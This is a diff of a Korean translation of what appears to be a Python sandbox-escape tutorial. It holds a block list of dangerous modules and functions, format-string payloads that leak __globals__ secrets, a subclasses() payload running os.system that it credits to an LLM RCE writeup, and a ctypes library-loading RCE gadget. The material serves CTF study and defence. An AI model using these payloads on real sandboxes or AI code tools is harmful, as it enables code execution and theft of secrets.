bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -543,10 +545,10 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` -## Builtins, Globals...์˜ ์žฌ๊ท€ ๊ฒ€์ƒ‰ +## Builtins, Globals...์— ๋Œ€ํ•œ ์žฌ๊ท€ ๊ฒ€์ƒ‰ > [!WARNING] -> ์ด๊ฑด ์ •๋ง **๋Œ€๋‹จํ•ฉ๋‹ˆ๋‹ค**. ๋งŒ์•ฝ ๋‹น์‹ ์ด **globals, builtins, open ๊ฐ™์€ ๊ฐ์ฒด๋ฅผ ์ฐพ๊ณ  ์žˆ๋‹ค๋ฉด** ๊ทธ๋ƒฅ ์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•ด ๊ทธ ๊ฐ์ฒด๋ฅผ **์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋ฅผ ์žฌ๊ท€์ ์œผ๋กœ ์ฐพ์•„๋ณด์„ธ์š”.** +> ์ด๊ฑด ์ •๋ง **๊ต‰์žฅํ•ฉ๋‹ˆ๋‹ค**. ๋งŒ์•ฝ ๋‹น์‹ ์ด **globals, builtins, open ๊ฐ™์€ ๊ฐ์ฒด๋ฅผ ์ฐพ๊ณ  ์žˆ๋‹ค๋ฉด** ์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•ด ๊ทธ ๊ฐ์ฒด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋ฅผ **์žฌ๊ท€์ ์œผ๋กœ ์ฐพ์•„๋‚ด์„ธ์š”.** ```python import os, sys # Import these to find more gadgets @@ -662,7 +664,7 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -You can check the output of this script on this page: +์ด ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์€ ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} @@ -671,7 +673,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -๋งŒ์•ฝ ํฌ๋งท๋  **๋ฌธ์ž์—ด**์„ **python**์— **์ „์†ก**ํ•˜๋ฉด, `{}`๋ฅผ ์‚ฌ์šฉํ•ด **python ๋‚ด๋ถ€ ์ •๋ณด**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ „ ์˜ˆ์ œ๋“ค์„ ์‚ฌ์šฉํ•ด globals๋‚˜ builtins์— ์ ‘๊ทผํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŒ์•ฝ python์— **๋ฌธ์ž์—ด**์„ **๋ณด๋‚ด์„œ** **ํฌ๋งทํŒ…๋˜๋Š”** ํ˜•ํƒœ๋กœ ๋งŒ๋“ค๋ฉด, `{}`๋ฅผ ์‚ฌ์šฉํ•ด **python ๋‚ด๋ถ€ ์ •๋ณด**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ด์ „ ์˜ˆ์ œ๋“ค์„ ์‚ฌ์šฉํ•ด globals๋‚˜ builtins์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -691,16 +693,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Note how you can **์†์„ฑ์— ์ ‘๊ทผ** in a normal way with a **์ (dot)** like `people_obj.__init__` and **dict ์š”์†Œ** with **๋Œ€๊ด„ํ˜ธ** without quotes `__globals__[CONFIG]` +๋‹ค์Œ๊ณผ ๊ฐ™์ด **์†์„ฑ์— ์ ‘๊ทผ**์„ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ์‹์œผ๋กœ **์ (dot)**์œผ๋กœ `people_obj.__init__`์ฒ˜๋Ÿผ ํ•  ์ˆ˜ ์žˆ๊ณ , **dict ์š”์†Œ**๋Š” ๋”ฐ์˜ดํ‘œ ์—†์ด **๊ด„ํ˜ธ**๋กœ `__globals__[CONFIG]`์ฒ˜๋Ÿผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์ฃผ๋ชฉํ•˜์„ธ์š”. -Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +๋˜ํ•œ `.__dict__`๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ์ฒด์˜ ์š”์†Œ๋“ค์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Some other interesting characteristics from **format strings** is the possibility of **์‹คํ–‰** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively: +format strings์˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ํŠน์ง•์œผ๋กœ๋Š”, ์ง€์ •๋œ ๊ฐ์ฒด์— ๋Œ€ํ•ด **์‹คํ–‰**ํ•  ์ˆ˜ ์žˆ๋Š” **ํ•จ์ˆ˜๋“ค** **`str`**, **`repr`** ๋ฐ **`ascii`**๊ฐ€ ๊ฐ๊ฐ **`!s`**, **`!r`**, **`!a`**๋ฅผ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ ํ˜ธ์ถœ๋œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -๋˜ํ•œ ํด๋ž˜์Šค์—์„œ **code new formatters** ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋˜ํ•œ ํด๋ž˜์Šค์—์„œ **code new formatters**๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```python class HAL9000(object): def __format__(self, format): @@ -711,10 +713,10 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**์ถ”๊ฐ€ ์˜ˆ์ œ**๋Š” **format** **string** ์˜ˆ์ œ๋ฅผ [**https://pyformat.info/**](https://pyformat.info)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +**๋” ๋งŽ์€ ์˜ˆ์ œ**๋Š” **format** **string** ๊ด€๋ จ ์˜ˆ์ œ๋ฅผ [**https://pyformat.info/**](https://pyformat.info)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค > [!CAUTION] -> ๋‹ค์Œ ํŽ˜์ด์ง€๋„ ํ™•์ธํ•˜์„ธ์š” โ€” gadgets that will r**ead sensitive information from Python internal objects**: +> ๋‹ค์Œ ํŽ˜์ด์ง€๋„ ํ™•์ธํ•˜์„ธ์š”. gadgets that will r**ead sensitive information from Python internal objects**: {{#ref}} @@ -741,17 +743,16 @@ str(x) # Out: clueless From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### format์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋กœ๋”ฉ์œผ๋กœ RCE ์–ป๊ธฐ +### format์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋กœ๋“œ๋กœ RCE According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. -๊ฐ„๋‹จํžˆ ๋งํ•ด, python์—์„œ ์–ด๋–ค ๋™์ž‘์ด ์ˆ˜ํ–‰๋  ๋•Œ๋งˆ๋‹ค ํŠน์ • ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `2*3` ๋Š” **`(2).mul(3)`** ๋ฅผ ์‹คํ–‰ํ•˜๊ณ , **`{'a':'b'}['a']`** ๋Š” **`{'a':'b'}.__getitem__('a')`** ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. +์ฐธ๊ณ ๋กœ, python์—์„œ ์–ด๋–ค ์—ฐ์‚ฐ์ด ์ˆ˜ํ–‰๋  ๋•Œ๋งˆ๋‹ค ์–ด๋–ค ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `2*3`์€ **`(2).mul(3)`**์„ ์‹คํ–‰ํ•˜๊ณ , **`{'a':'b'}['a']`**๋Š” **`{'a':'b'}.__getitem__('a')`**์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. You have more like this in the section [**Python execution without calls**](#python-execution-without-calls). -python format string vuln์€ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๊ฒŒ ํ•œ๋‹ค(๊ด„ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ), ๋”ฐ๋ผ์„œ `'{0.system("/bin/sh")}'.format(os)` ๊ฐ™์€ RCE๋ฅผ ์–ป๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.\ - -ํ•˜์ง€๋งŒ `[]` ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋Š” ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ, ๋งŒ์•ฝ ์ผ๋ฐ˜์ ์ธ python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” **`__getitem__`** ๋˜๋Š” **`__getattr__`** ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•ด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค. +A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\ +However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE. Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python @@ -775,20 +776,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -์ด gadget์€ ๋””์Šคํฌ์—์„œ **๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œ**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ ๋Œ€์ƒ ์„œ๋ฒ„์— ๋กœ๋“œํ•  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ปดํŒŒ์ผ๋œ ์ƒํƒœ๋กœ ์–ด๋–ค ์‹์œผ๋กœ๋“  **์“ฐ๊ธฐ ๋˜๋Š” ์—…๋กœ๋“œ**ํ•ด์•ผ ํ•œ๋‹ค. +์ด gadget์€ **load a library from disk** ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ ๋Œ€์ƒ server์— ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ปดํŒŒ์ผ๋œ **write or upload the library to load** ๋ฅผ ์–ด๋–ป๊ฒŒ๋“  ์จ๋„ฃ๊ฑฐ๋‚˜ ์—…๋กœ๋“œํ•ด์•ผ ํ•œ๋‹ค. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk. +์ด ์ฑŒ๋ฆฐ์ง€๋Š” ์‹ค์ œ๋กœ ์„œ๋ฒ„์˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์„œ๋ฒ„ ๋””์Šคํฌ์— ์ž„์˜์˜ ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -## Python ๊ฐ์ฒด ๋ถ„์„ +## Dissecting Python Objects > [!TIP] -> **python bytecode**์— ๋Œ€ํ•ด ๊นŠ์ด **๋ฐฐ์šฐ๊ณ ** ์‹ถ๋‹ค๋ฉด ์ด ์ฃผ์ œ์— ๊ด€ํ•œ ์ด **ํ›Œ๋ฅญํ•œ** ๊ธ€์„ ์ฝ์–ด๋ณด์„ธ์š”: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -๋ช‡๋ช‡ CTFs์—์„œ๋Š” ํ”Œ๋ž˜๊ทธ๊ฐ€ ์œ„์น˜ํ•œ **custom function where the flag**์˜ ์ด๋ฆ„์„ ์ œ๊ณต๋ฐ›์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ๊ฒƒ์„ ์ถ”์ถœํ•˜๋ ค๋ฉด ํ•ด๋‹น **function**์˜ **internals**์„ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์ผ๋ถ€ CTFs์—์„œ๋Š” flag๊ฐ€ ์œ„์น˜ํ•œ **custom function**์˜ ์ด๋ฆ„์„ ์ œ๊ณต๋ฐ›์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ์ถ”์ถœํ•˜๋ ค๋ฉด ํ•ด๋‹น **function**์˜ **internals**๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -This is the function to inspect: +๊ฒ€์‚ฌํ•  ํ•จ์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: ```python def get_flag(some_input): var1=1 @@ -808,7 +809,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` and `func_globals`(Same) ์ „์—ญ ํ™˜๊ฒฝ์„ ์–ป์Šต๋‹ˆ๋‹ค. ์˜ˆ์ œ์—์„œ๋Š” ๋ช‡๋ช‡ import๋œ ๋ชจ๋“ˆ๊ณผ ์ „์—ญ ๋ณ€์ˆ˜ ๋ฐ ๊ทธ ๋‚ด์šฉ์ด ์„ ์–ธ๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +`__globals__` and `func_globals`(๊ฐ™์Œ) ์ „์—ญ ํ™˜๊ฒฝ์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ์˜ˆ์ œ์—์„œ๋Š” ์ผ๋ถ€ ๊ฐ€์ ธ์˜จ ๋ชจ๋“ˆ๊ณผ ์ผ๋ถ€ ์ „์—ญ ๋ณ€์ˆ˜ ๋ฐ ๊ทธ ๋‚ด์šฉ์ด ์„ ์–ธ๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```python get_flag.func_globals get_flag.__globals__ @@ -821,7 +822,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **ํ•จ์ˆ˜ ์ฝ”๋“œ์— ์ ‘๊ทผํ•˜๊ธฐ** -**`__code__`** ๋ฐ `func_code`: ํ•จ์ˆ˜์˜ ์ด **์†์„ฑ**์— **์ ‘๊ทผ**ํ•˜์—ฌ ํ•จ์ˆ˜์˜ **์ฝ”๋“œ ๊ฐ์ฒด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +**`__code__`** ๋ฐ `func_code`: ์ด ํ•จ์ˆ˜์˜ ์ด **์†์„ฑ**์— **์ ‘๊ทผ**ํ•˜์—ฌ ํ•จ์ˆ˜์˜ **์ฝ”๋“œ ๊ฐ์ฒด**๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```python # In our current example get_flag.__code__ @@ -835,7 +836,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### ์ฝ”๋“œ ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ +### ์ฝ”๋“œ ์ •๋ณด ์–ป๊ธฐ ```python # Another example s = ''' @@ -881,7 +882,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **ํ•จ์ˆ˜ ์—ญ์–ด์…ˆ๋ธ”** +### **Disassembly ํ•จ์ˆ˜** ```python import dis dis.dis(get_flag) @@ -909,7 +910,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -์ฃผ์˜: **python sandbox์—์„œ `dis`๋ฅผ importํ•  ์ˆ˜ ์—†๋‹ค๋ฉด** ํ•จ์ˆ˜์˜ **bytecode**(`get_flag.func_code.co_code`)๋ฅผ ์–ป์–ด ๋กœ์ปฌ์—์„œ **disassemble**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋กœ๋”ฉ๋˜๋Š” ๋ณ€์ˆ˜๋“ค์˜ ๋‚ด์šฉ(`LOAD_CONST`)์€ ๋ณผ ์ˆ˜ ์—†์ง€๋งŒ, `get_flag.func_code.co_consts`์—์„œ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `LOAD_CONST`๋Š” ๋กœ๋”ฉ๋˜๋Š” ๋ณ€์ˆ˜์˜ ์˜คํ”„์…‹๋„ ์•Œ๋ ค์ฃผ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +์ฐธ๊ณ : **python sandbox์—์„œ `dis`๋ฅผ importํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ** ํ•จ์ˆ˜์˜ **bytecode** (`get_flag.func_code.co_code`)๋ฅผ ์–ป์–ด ๋กœ์ปฌ์—์„œ **disassemble**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `LOAD_CONST`๋กœ ๋กœ๋“œ๋˜๋Š” ๋ณ€์ˆ˜์˜ ๋‚ด์šฉ์€ ๋ณด์ด์ง€ ์•Š์ง€๋งŒ, `get_flag.func_code.co_consts`์—์„œ ์ด๋ฅผ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `LOAD_CONST`๋Š” ๋กœ๋“œ๋˜๋Š” ๋ณ€์ˆ˜์˜ ์˜คํ”„์…‹๋„ ์•Œ๋ ค์ฃผ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -931,10 +932,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` -## Python ์ปดํŒŒ์ผ +## Compiling Python -์ด์ œ, ์–ด๋–ค ์‹์œผ๋กœ๋“  **์‹คํ–‰ํ•  ์ˆ˜ ์—†๋Š” ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ dumpํ•  ์ˆ˜** ์žˆ๋Š”๋ฐ, ๊ทธ ํ•จ์ˆ˜๋ฅผ **์‹คํ–‰**ํ•ด์•ผ ํ•  **ํ•„์š”**๊ฐ€ ์žˆ๋‹ค๊ณ  ์ƒ์ƒํ•ด๋ณด์ž.\ -๋‹ค์Œ ์˜ˆ์ฒ˜๋Ÿผ, ํ•ด๋‹น ํ•จ์ˆ˜์˜ **code object์— ์ ‘๊ทผํ•  ์ˆ˜** ์žˆ์ง€๋งŒ, disassemble์„ ์ฝ์–ด๋ณด๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋Š” **flag๋ฅผ ์–ด๋–ป๊ฒŒ ๊ณ„์‚ฐํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์—†๋‹ค** (_์ข€ ๋” ๋ณต์žกํ•œ `calc_flag` ํ•จ์ˆ˜๋ผ๊ณ  ์ƒ์ƒํ•ด๋ณด๋ผ_) +์ด์ œ ์–ด๋–ค ์‹์œผ๋กœ๋“  **์‹คํ–‰ํ•  ์ˆ˜ ์—†๋Š” ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ dumpํ•  ์ˆ˜ ์žˆ์ง€๋งŒ** ๊ทธ ํ•จ์ˆ˜๋ฅผ **๋ฐ˜๋“œ์‹œ** **์‹คํ–‰ํ•ด์•ผ** ํ•œ๋‹ค๊ณ  ์ƒ์ƒํ•ด๋ณด์ž.\ +์•„๋ž˜ ์˜ˆ์ œ์ฒ˜๋Ÿผ, ๊ทธ ํ•จ์ˆ˜์˜ **code object์— ์ ‘๊ทผํ•  ์ˆ˜๋Š” ์žˆ์ง€๋งŒ**, disassemble๋งŒ ์ฝ์–ด์„œ๋Š” **flag๋ฅผ ์–ด๋–ป๊ฒŒ ๊ณ„์‚ฐํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์—†๋‹ค** (_๋” ๋ณต์žกํ•œ `calc_flag` ํ•จ์ˆ˜๋ฅผ ์ƒ์ƒํ•ด๋ณด๋ผ_) ```python def get_flag(some_input): var1=1 @@ -949,7 +950,7 @@ return "Nope" ``` ### code object ์ƒ์„ฑ -์šฐ์„ , ์šฐ๋ฆฌ๋Š” **code object๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•**์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์•ผ leaked๋œ ์šฐ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํ•˜๋‚˜๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์šฐ์„ , ์šฐ๋ฆฌ์˜ ํ•จ์ˆ˜ leaked๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด **code object๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•**์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -969,7 +970,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") 